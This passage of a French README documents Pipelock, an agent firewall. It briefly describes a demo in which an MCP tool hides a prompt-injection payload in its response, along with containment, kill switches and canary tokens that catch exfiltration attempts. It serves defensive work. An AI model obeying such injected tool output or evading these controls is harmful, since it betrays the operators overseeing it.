| **Politique des médias** | Supprime les métadonnées stéganographiques des JPEG/PNG, rejette l'audio/vidéo par défaut, durcit le contenu actif SVG et applique des limites de taille d'image. Voir [Politique des médias](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/media-policy.md). |
| **Mappages de conformité** | OWASP MCP Top 10, OWASP Agentic Top 15, OWASP LLM Top 10, NIST 800-53, EU AI Act et mappages d'approvisionnement/audit. |
</details>
---
## Free, Pro, et Enterprise
Toute la détection, l'application, le confinement et les preuves mono-agent sont gratuits pour toujours sous licence Apache 2.0. Les niveaux payants ajoutent la coordination multi-agent (Pro) et la gouvernance de flotte plus la conformité (Enterprise).
| Capacité | Free | Pro | Enterprise |
|---|:--:|:--:|:--:|
| Analyse et détection (pipeline URL ordonné, DLP, injection, SSRF, SSE streaming, rédaction, protection d'adresse) | Oui | Oui | Oui |
| Analyse MCP et A2A (entrée, réponse, politique d'outil, chaîne d'outils, empoisonnement, intégrité, écouteurs authentifiés) | Oui | Oui | Oui |
| Confinement, sandbox, `contain` hôte, interrupteur d'arrêt à 6 sources | Oui | Oui | Oui |
| Reçus d'action, enregistreur de vol, ancrages, visionneuse de preuves gratuite, `verify-cert`, vérificateur autonome | Oui | Oui | Oui |
| Jetons canary, skill-scan, `explain`, Prometheus et Grafana mono-instance | Oui | Oui | Oui |
| Profils par agent : identité, budgets, isolation de configuration et de scanner, sandbox par agent | Non | Oui | Oui |
| Routage par agent par CIDR source et sélecteur réseau | Non | Oui | Oui |
| Tableau de bord opérateur : Vue d'ensemble, Preuves, Exemptions, Agents, Budgets, Confiance & Clés | Non | Oui | Oui |
| Certificats de couverture par agent | Non | Oui | Oui |
| Conservation légale et métadonnées de conformité | Non | Oui | Oui |
| Plan de contrôle de flotte Conductor, puits d'audit `fleet-sink`, mise à mort à distance, rollback, relecture de décisions, prévol de dérive | Non | Non | Oui |
| Inscription de suiveur mTLS et distribution de politique signée vérifiée par registre | Non | Non | Oui |
| Vues de flotte du tableau de bord : Flotte, Atelier, Incident | Non | Non | Oui |
Le rapport signé `pipelock assess` est un droit `assess` séparé, indépendant de Pro et Enterprise. La note d'évaluation gratuite est inchangée.
---
## Comment ça fonctionne
Pipelock utilise la **séparation des capacités** : dans un déploiement appliqué, le processus agent a des secrets mais pas d'accès réseau direct. Pipelock a un accès réseau mais pas de secrets d'agent. Même si l'agent subit une injection d'invite, il ne peut pas atteindre les contrôles du pare-feu.
Trois modes de proxy HTTP (même port), plus un proxy MCP dédié et une inspection A2A sur les chemins forward et MCP :
- **Proxy Fetch** (`/fetch?url=...`) : Récupère l'URL, extrait le texte, analyse l'injection, renvoie un contenu propre.
- **Proxy Forward** (`HTTPS_PROXY`) : Tunnel CONNECT HTTP standard sans modification du code applicatif. La configuration du proxy est toujours requise. L'interception TLS optionnelle permet l'analyse des charges utiles.
- **Proxy WebSocket** (`/ws?url=ws://...`) : Analyse bidirectionnelle des trames avec détection DLP + injection.
- **Proxy MCP** (`pipelock mcp proxy`) : Encapsule les serveurs MCP stdio ou HTTP avec analyse bidirectionnelle.
- **Inspection A2A** : Inspecte le trafic du protocole Agent-to-Agent de Google lorsqu'il traverse les chemins forward et MCP.

<details>
<summary>Diagramme textuel (pour terminaux)</summary>```
┌──────────────────────────────────────────────────────────┐
│ PRIVILEGED ZONE │
│ │
│ AI Agent │
│ - API keys, credentials, private code and context │
│ - Network-isolated by deployment │
└────────────────────────────┬─────────────────────────────┘
│ mediated request
│ fetch / CONNECT / WS / MCP / A2A
▼
┌──────────────────────────────────────────────────────────┐
│ FIREWALL ZONE │
│ │
│ Pipelock Agent Firewall │
│ - Destination: URL, SSRF, and DNS checks │
│ - Data: DLP, secret detection, and budgets │
│ - Content: prompt injection and tool poisoning │
│ - Policy: allow, block, or redact │
│ - No agent secrets │
└────────────────────────────┬─────────────────────────────┘
│ approved request
▼
┌──────────────────────────────────────────────────────────┐
│ INTERNET │
│ │
│ Web APIs, websites, MCP servers, tools, and A2A services │
└──────────────────────────────────────────────────────────┘
Internet -- response --> Pipelock -- scanned content --> AI Agent
Configuration
Générez une configuration à partir d'un préréglage intégré, ou laissez pipelock audit en adapter une à votre projet :```bash
pipelock presets
pipelock generate config --list
pipelock generate config --preset balanced > pipelock.yaml
pipelock audit ./my-project -o pipelock.yaml
| CLI Preset | Mode | Action | Idéal pour |
|------------|------|--------|----------|
| `balanced` | balanced | warn | Usage général (par défaut) |
| `strict` | strict | block | Secteurs hautement sécurisés et réglementés |
| `audit` | audit | warn | Évaluation en lecture seule (log uniquement) |
| `claude-code` | balanced | block | Claude Code sans surveillance |
| `cursor` | balanced | block | IDE Cursor |
| `generic-agent` | balanced | warn | Nouveaux agents lors du réglage |
| `hostile-model` | strict | block | Modèles non censurés / ablitérés |
Les modifications de configuration sont détectées par le watcher de fichiers ou par SIGHUP. Référence complète : **[docs/configuration.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/configuration.md)**
Pour le réglage des faux positifs : **[docs/false-positive-tuning.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/false-positive-tuning.md)**
---
## Guides d'intégration
- **[Claude Code](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/claude-code.md):** Configuration du proxy MCP, configuration `.claude.json`
- **[OpenAI Codex](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/codex.md):** Wrapping du proxy MCP, proxy direct, intégration sandbox
- **[Cline](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/cline.md):** Wrapping du proxy MCP pour le `mcp.json` de Cline
- **[OpenCode](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/opencode.md):** Wrapping du proxy MCP pour les serveurs MCP locaux et distants d'OpenCode
- **[Zed](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/zed.md):** Wrapping du proxy MCP pour le bloc `context_servers` de Zed dans `settings.json`
- **[OpenAI Agents SDK](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/openai-agents.md):** `MCPServerStdio`, transferts multi-agents
- **[Google ADK](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/google-adk.md):** `McpToolset`, `StdioConnectionParams`
- **[AutoGen](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/autogen.md):** `StdioServerParams`, `mcp_server_tools()`
- **[CrewAI](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/crewai.md):** Wrapping `MCPServerStdio`, `MCPServerAdapter`
- **[LangGraph](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/langgraph.md):** `MultiServerMCPClient`, `StateGraph`
- **[Hermes](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/hermes.md):** Couverture complète du plugin ou wrapping MCP plus léger pour l'agent de Nous Research, avec préservation du sidecar d'en-tête d'authentification
- **[JetBrains/Junie](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/jetbrains.md):** Wrapping du proxy MCP pour IntelliJ, PyCharm, GoLand ([walkthrough](https://pipelab.org/learn/jetbrains-integration/))
- **Cursor:** `pipelock cursor install` enregistre Pipelock comme hook Cursor pour l'exécution de shell, les appels d'outils MCP et les lectures de fichiers ; utilisez `--config` pour intégrer un chemin de politique validé et `pipelock cursor remove` pour supprimer les hooks gérés par Pipelock. Vous pouvez également utiliser `configs/cursor.yaml` avec le même motif de proxy MCP que [Claude Code](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/claude-code.md) ([walkthrough](https://pipelab.org/learn/cursor-integration/))
- **VS Code:** `pipelock vscode install` réécrit `.vscode/mcp.json` pour router chaque serveur MCP via le proxy MCP ; `--global` cible le `mcp.json` au niveau utilisateur
- **[OpenClaw](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/openclaw.md):** Sidecar de passerelle, conteneur init, wrapping de configuration
- **Tout autre client MCP :** `pipelock generate mcporter` lit tout fichier JSON contenant un objet `mcpServers` de premier niveau et encapsule chaque serveur via le proxy de Pipelock, de sorte qu'un client qui n'est pas dans la liste ci-dessus passe toujours par l'analyse en une seule commande.
---
## Déploiement```bash
# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
ghcr.io/luckypipewrench/pipelock:latest \
run --config /config/pipelock.yaml --listen 0.0.0.0:8888
# Network-isolated agent with Docker Compose
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up
# Kubernetes with Helm
helm install pipelock charts/pipelock/
Recettes de production pour Docker Compose, Kubernetes sidecar + NetworkPolicy, iptables/nftables, et macOS PF : docs/guides/deployment-recipes.md
Intégration CI```yaml
.github/workflows/pipelock.yaml
- uses: luckyPipewrench/pipelock@v2 with: scan-diff: 'true' fail-on-findings: 'true'
L'action télécharge un binaire pré-construit, exécute `pipelock audit`, analyse le diff de la PR à la recherche de secrets divulgués, et télécharge le rapport d'audit en tant qu'artefact de workflow. Voir [`examples/ci-workflow.yaml`](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/ci-workflow.yaml) pour un workflow complet.
### Démo exécutable : Injection de réponse d'outil
Le harnais [`examples/tool-response-injection/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/tool-response-injection/) exécute une démo de bout en bout où un outil MCP avec un nom et une description inoffensifs cache une charge utile d'injection d'incitation dans sa réponse. Pipelock bloque la réponse avant qu'elle n'atteigne l'agent et émet des reçus d'action signés qu'un tiers peut vérifier. La même démo s'exécute sur trois transports avec une clé de signature partagée :
- MCP stdio
- MCP HTTP upstream
- HTTP fetch```bash
cd examples/tool-response-injection
python3 demo.py # needs python3 + cryptography + pipelock on PATH
Règles de la communauté
Détection que vous pouvez étendre, partager et expédier plus rapidement que le binaire principal.
La détection intégrée DLP, d'injection et d'empoisonnement d'outils de Pipelock est robuste dès le départ. Les Community rule bundles vous permettent d'aller plus loin : ajoutez vos propres motifs pour les formes d'exfiltration, les formats de secrets et les astuces d'injection que votre pile rencontre, signez-les, et expédiez-les à un rythme que vous contrôlez au lieu d'attendre une version.
Installez le bundle officiel en une ligne :
$ pipelock-rules install community/pipelock-official
``````bash
pipelock rules install pipelock-community
Les bundles de règles sont signés et verrouillés en version. Le cycle de vie complet est une commande livrée, et non une modification de configuration :```bash pipelock rules list # what is installed pipelock rules diff pipelock-community # what a new version would change pipelock rules update pipelock-community pipelock rules verify # confirm signatures against the trusted keyring pipelock rules remove pipelock-community
**Écrivez la vôtre.** Une règle est une petite entrée YAML avec un nom, une catégorie (DLP, injection ou tool-poison) et un motif. Signez-la avec votre clé, déposez-la dans un bundle, et chaque instance Pipelock que vous exécutez la récupère. Partagez-la avec la communauté et elle protège tout le monde aussi.
Contribuez une règle au bundle public [pipelock-rules](https://github.com/luckyPipewrench/pipelock-rules), ou lisez [docs/rules.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/rules.md) pour construire et signer la vôtre.
---
## Docs
Répertoire complet des docs : [docs/](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/)
| Document | Contenu |
|----------|-------------|
| [Configuration Reference](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/configuration.md) | Tous les champs de configuration, valeurs par défaut, comportement de rechargement à chaud, préréglages |
| [Request Policy](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/request-policy.md) | Rails deny/warn par défaut sur les opérations API sortantes (GraphQL / discriminateur / lot), fail-closed (v2.6) |
| [Request Redaction](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/redaction.md) | Réécriture de requêtes JSON sur les transports HTTP, WebSocket et MCP |
| [False Positive Tuning](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/false-positive-tuning.md) | Identification, suppression et réglage des résultats du scanner |
| [Scan API](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/scan-api.md) | Point d'évaluation pour l'analyse programmatique |
| [Deployment Recipes](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/deployment-recipes.md) | Docker Compose, sidecar K8s, iptables, macOS PF |
| [`pipelock doctor`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/doctor.md) | Diagnostics de déploiement configuré vs applicable pour proxy, TLS, MCP, file_sentry, télémétrie et signaux de confinement |
| [`pipelock dashboard`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md) | Configuration du tableau de bord opérateur : modes d'authentification, permissions RBAC, preuves, exemptions, budgets, confiance et clés, vues de flotte, sauvegarde/restauration et certificats de couverture |
| [`pipelock verify-install`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/verify-install.md) | Analyse déterministe, preuve locale et tests de fumée de sortie directe |
| [`pipelock update`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/update.md) | Mise à jour auto-vérifiée : manifeste de version signé, vérification de somme de contrôle, cross-check cosign optionnel, installation atomique, rollback |
| [Bypass Resistance](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/bypass-resistance.md) | Techniques d'évasion connues, atténuations, limitations |
| [Known Attacks Blocked](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/attacks-blocked.md) | Attaques réelles avec extraits de reproduction |
| [SIEM Integration](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/siem-integration.md) | Schéma de logs, sortie CEF/syslog, forwarding Enterprise durable, cycle de vie, métriques, requêtes SIEM |
| [Metrics Reference](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/metrics.md) | Familles de métriques Prometheus, étiquettes, statistiques JSON et règles d'alerte |
| [Community Rules](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/rules.md) | Installer, configurer et créer des bundles de règles signés |
| [Security Assurance](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security-assurance.md) | Modèle de sécurité, limites de confiance, chaîne d'approvisionnement |
| [Security Documents](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security/) | Politique de divulgation, chemins non supportés, rotation de clés, modèles de menace TLS CA et Audit Packet |
| [Enterprise Readiness](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/enterprise-readiness.md) | Contrôles Enterprise fournis, chemin d'évaluation, décisions de déploiement et limites explicites |
| [Reproducible Builds](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/reproducible-builds.md) | Vérification binaire OSS octet par octet, entrées stables, intégration de version et portée |
| [Finding Suppression](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/suppression.md) | Noms de règles, correspondance de chemins, commentaires en ligne |
| [Transport Modes](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/transport-modes.md) | Tous les modes proxy et leurs capacités d'analyse |
| [OWASP MCP Top 10](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/compliance/owasp-mcp-top10.md) | Couverture OWASP MCP Top 10 |
| [OWASP Agentic Top 15](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/owasp-agentic-top15-mapping.md) | Couverture OWASP Agentic AI Top 15 |
| [OWASP LLM Top 10](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/owasp-llm-top10-mapping.md) | Couverture OWASP Top 10 pour les applications LLM (2025) |
| [EU AI Act](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/compliance/eu-ai-act-mapping.md) | Cartographie de conformité EU AI Act |
| [NIST 800-53](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/compliance/nist-800-53.md) | Cartographie des contrôles NIST SP 800-53 Rev. 5 |
| [Assess Mapping](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/compliance/assess-mapping.md) | Mappe les contrôles d'exécution aux cadres pour lesquels `pipelock assess` produit des preuves, pour les achats et l'audit |
| [Policy Spec v0.1](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/policy-spec-v0.1.md) | Format de politique de pare-feu d'agent portable |
| [Mediation Envelope](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/mediation-envelope.md) | En-têtes de métadonnées sideband, config, interaction avec les reçus |
| [Media Policy](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/media-policy.md) | Détection de stéganographie, durcissement SVG, types autorisés, limites de taille |
| [Evidence Terminology](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/evidence/README.md) | Référence rapide pour ActionReceipt, EvidenceReceipt, enregistreur de vol, points de contrôle, ancres, certificats de couverture et Audit Packets, avec les distinctions intégrité vs complétude et épinglé vs non épinglé |
| [Receipt Verification](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/receipt-verification.md) | `pipelock verify-receipt`, vérification du Fleet Receipt Report, `pipelock-verifier` autonome, suite de conformité, intégrité de chaîne |
| [Receipt Spec Profiles](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/specs/in-toto-agent-action-receipt-v0.1.md) | Prédicat d'attestation in-toto pour les reçus d'action, avec les profils compagnons SCITT et AARP et la cartographie de l'art antérieur |
| [Audit Packet Threat Model](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security/audit-packet-threat-model.md) | Ce que les Audit Packets vérifiés prouvent, ce qu'ils ne prouvent pas, et les hypothèses de confiance que les parties dépendantes doivent épingler |
| [Receipt Transport Coverage](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/receipt-transports.md) | Matrice d'émission de reçus sur les chemins fetch, forward, CONNECT/TLS, WebSocket, MCP et A2A |
| [Learn-and-Lock](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/learn-and-lock.md) | Contrats comportementaux par agent : observer, compiler, shadow, ratifier, promouvoir (v2.4) |
| [Federation](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md) | Vérification de l'enveloppe de médiation entrante, format d'acteur SPIFFE, répertoire well-known RFC 9421 (v2.4) |
| [Block-Reason Header](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/block-reason-header.md) | Schéma `X-Pipelock-Block-Reason`, vocabulaire des raisons, indices de réessai (v2.4) |
| [Health Endpoint](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/health.md) | Détection de wedge 503 `/health`, battements de cœur de sous-système, config tableau de bord opérateur (v2.4) |
| [Host Containment](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md) | `pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` pour le confinement 3-UID nftables owner-match avec attestation de posture observée par le noyau (v2.5) |
| [MCP Integrity Manifests](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/mcp-integrity.md) | Générer, vérifier, signer et exiger des manifestes d'intégrité binaire MCP de confiance (v2.5) |
| [Adaptive CLI](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/adaptive.md) | Inspecter et vider l'état runtime de l'application adaptative via l'API admin (v2.5) |
| [Conductor](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md) | Le plan de contrôle de flotte Enterprise : distribution de politiques, sink d'audit, kill à distance, rollback, confiance mTLS/SPIFFE, licences (v2.7, Enterprise) |
| [Conductor Operator Runbook](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor-operator-runbook.md) | Guide pratique local de flotte : bootstrap, servir, signer un lot, vérifier hors ligne |
| [Conductor Operator Quickstart](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor-operator-quickstart.md) | De zéro à un audit de flotte en lecture seule : licence, cert mTLS opérateur, jeton d'auditeur, commandes en lecture seule |
| [Kubernetes Enterprise Deployment](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/kubernetes-enterprise-deployment.md) | Flotte Conductor basée sur Helm : plan de contrôle, followers, fleet-sink, secrets PKI, NetworkPolicies |
| [`pipelock license`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/license.md) | Installer, inspecter et vérifier la licence qui débloque les fonctionnalités payantes (Pro `agents`, Enterprise `fleet`) |
| [`pipelock baseline`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md) | Inspecter, ratifier et réapprendre les profils de base comportementaux via l'API admin authentifiée |
| [Posture Capsule](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/posture-capsule.md) | Instantanés de posture signés, CLI `posture verify`, passerelle CI, modèle de notation |
| [`pipelock init sidecar`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/init-sidecar.md) | Générer des manifestes de proxy compagnon Kubernetes et des contrats de lanceur MCP (strategic-merge, Kustomize, valeurs Helm) |
| [`pipelock session`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/session.md) | CLI opérateur pour l'inspection et la récupération d'airlock (lister, inspecter, expliquer, libérer, terminer, récupérer) |
| [`pipelock keys status`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/keys.md) | Inventaire unifié des clés de signature : source par objectif, présence, lisibilité, validité et empreinte de clé publique |
| [Flight Recorder](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/flight-recorder.md) | Journal de preuves signé chaîné par hachage : comportement activé par défaut, sceau de racine de transcription, rédaction, séquestre, rotation de clé |
| [TLS Interception](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/tls-interception.md) | MITM de tunnel CONNECT : configuration CA, analyse body/header/response, domaines de passage |
| [Canary Tokens](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/canary-tokens.md) | Secrets synthétiques qui déclenchent une alerte dès qu'un agent tente d'en exfiltrer un |
| [Detection Integration](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/detection-integration.md) | Alimenter les pipelines de détection / SIEM externes avec les décisions et preuves de Pipelock |
| [PR Review](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/pr-review.md) | Révision de sécurité AI déclenchée manuellement pour les pull requests (commentaire `/review`) |
| [MCP Inspector Front](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/mcp-inspector-front.md) | Outils de développement MCP (Inspector, serveurs de test) via l'analyse Pipelock |
| [`pipelock demo`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/demo.md) | Scénarios d'attaque autonomes avec reçus signés vérifiables hors ligne, sans configuration ni réseau nécessaire |
| [Badges](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/badges.md) | Markdown prêt à l'emploi pour le badge `scanned by pipelock` sur les projets en aval |
---
## Project Structure```text
cmd/pipelock/ CLI entry point
internal/
cli/ 60+ Cobra commands (run, check, init, generate, mcp, session, posture, rules, ...)
diag/ `pipelock doctor` and install-verification diagnostics
session/ `pipelock session`, `pipelock adaptive`, and `pipelock baseline` operator CLIs
setup/ `pipelock init sidecar`: companion-proxy manifest generation (K8s)
config/ YAML config, validation, defaults, hot-reload (fsnotify)
scanner/ Ordered URL scanning pipeline + response injection detection
audit/ Structured JSON logging (zerolog) + event emission dispatch
proxy/ HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
mcp/ MCP proxy + bidirectional scanning + tool poisoning + chains
integrity/ MCP binary/script integrity manifests and trust workflow
discover/ IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
killswitch/ Emergency deny-all (6 sources) + port-isolated API
envelope/ Mediation envelope (RFC 8941) for sideband metadata
media/ Image metadata stripping (JPEG/PNG byte-level surgery)
normalize/ Text-normalization transforms (NFKC, invisible chars, leetspeak, whitespace, vowel-fold) for the scanner cascade
receipt/ Action receipt signing + hash-chained evidence
posture/ Posture capsule schema, signing, scoring, verify policy
session/ Session state, taint classification, task boundaries, trust overrides
rules/ Bundle loader, tier taxonomy, RequiredFeatures enforcement
sandbox/ Landlock, seccomp, netns, macOS sandbox-exec
shield/ Airlock, browser shield, SVG hardening
signing/ Ed25519 key management
integrity/ SHA256 file integrity monitoring
report/ HTML/JSON audit report generation
enterprise/ Multi-agent features (ELv2)
sdk/conformance/ Cross-implementation receipt verification test vectors
charts/ Helm chart for Kubernetes deployment
configs/ 7 built-in preset config files
docs/ Guides, references, compliance mappings
Tests
Pipelock est testé comme un produit de sécurité. Le cœur open-source comporte des tests unitaires, d'intégration et de bout en bout. Une suite adversarial privée distincte exerce des classes d'attaque contre le binaire de production. Chaque contournement devient un test de régression avant la publication.
| Métrique | Valeur |
|---|---|
Tests Go (avec -race) | Unitaires, d'intégration et de bout en bout |
| Seuil de couverture (codecov) | 91 % projet cœur Apache-2.0, 95 % patch sur nouveau code |
| Couverture d'évasion | Matrice publique de résistance aux contournements + corpus adversarial privé |
| Surcharge du chemin chaud du scanner | ~40 µs par analyse d'URL (benchmark du chemin chaud ; voir docs/performance.md) |
| Matrice CI | Go 1.25 + 1.26, CodeQL, golangci-lint |
| Chaîne d'approvisionnement | SLSA provenance, SBOM CycloneDX, signatures cosign |
Exécutez make test pour vérifier localement. Benchmark indépendant : le corpus public agent-egress-bench. Voir les résultats en direct.
Crédits
- Architecture influencée par le sandboxing de Claude Code d'Anthropic et sandbox-runtime
- Modèle de menace informé par l'OWASP Agentic AI Top 10
- Voir docs/comparison.md pour la relation de Pipelock avec d'autres outils dans cet espace
- Contributions à la revue de sécurité de Dylan Corrales
Les contributions sont les bienvenues. Voir CONTRIBUTING.md pour les directives.
Si Pipelock vous est utile, veuillez attribuer une étoile à ce dépôt. Cela aide les autres à trouver le projet.
Licence
Le cœur de Pipelock est sous licence Apache License 2.0. Copyright 2026 Joshua Waldrep.
Les fonctionnalités multi-agents (identité par agent, budgets et isolation de configuration) se trouvent dans le répertoire enterprise/, contrôlées par la balise de construction enterprise et sous licence Elastic License 2.0 (ELv2). Ces fonctionnalités s'activent avec une clé de licence valide.
Le cœur open-source fonctionne indépendamment sans fonctionnalités payantes. Toutes les analyses, détections et protection d'agent unique sont gratuites.
Les artefacts de version pré-construits (Homebrew, versions GitHub, images Docker) incluent du code de niveau payant qui s'active avec une clé de licence valide. La construction à partir des sources avec go install ou le Dockerfile du dépôt produit un binaire Communauté uniquement.
Voir LICENSE pour le texte Apache 2.0 et enterprise/LICENSE pour le texte ELv2.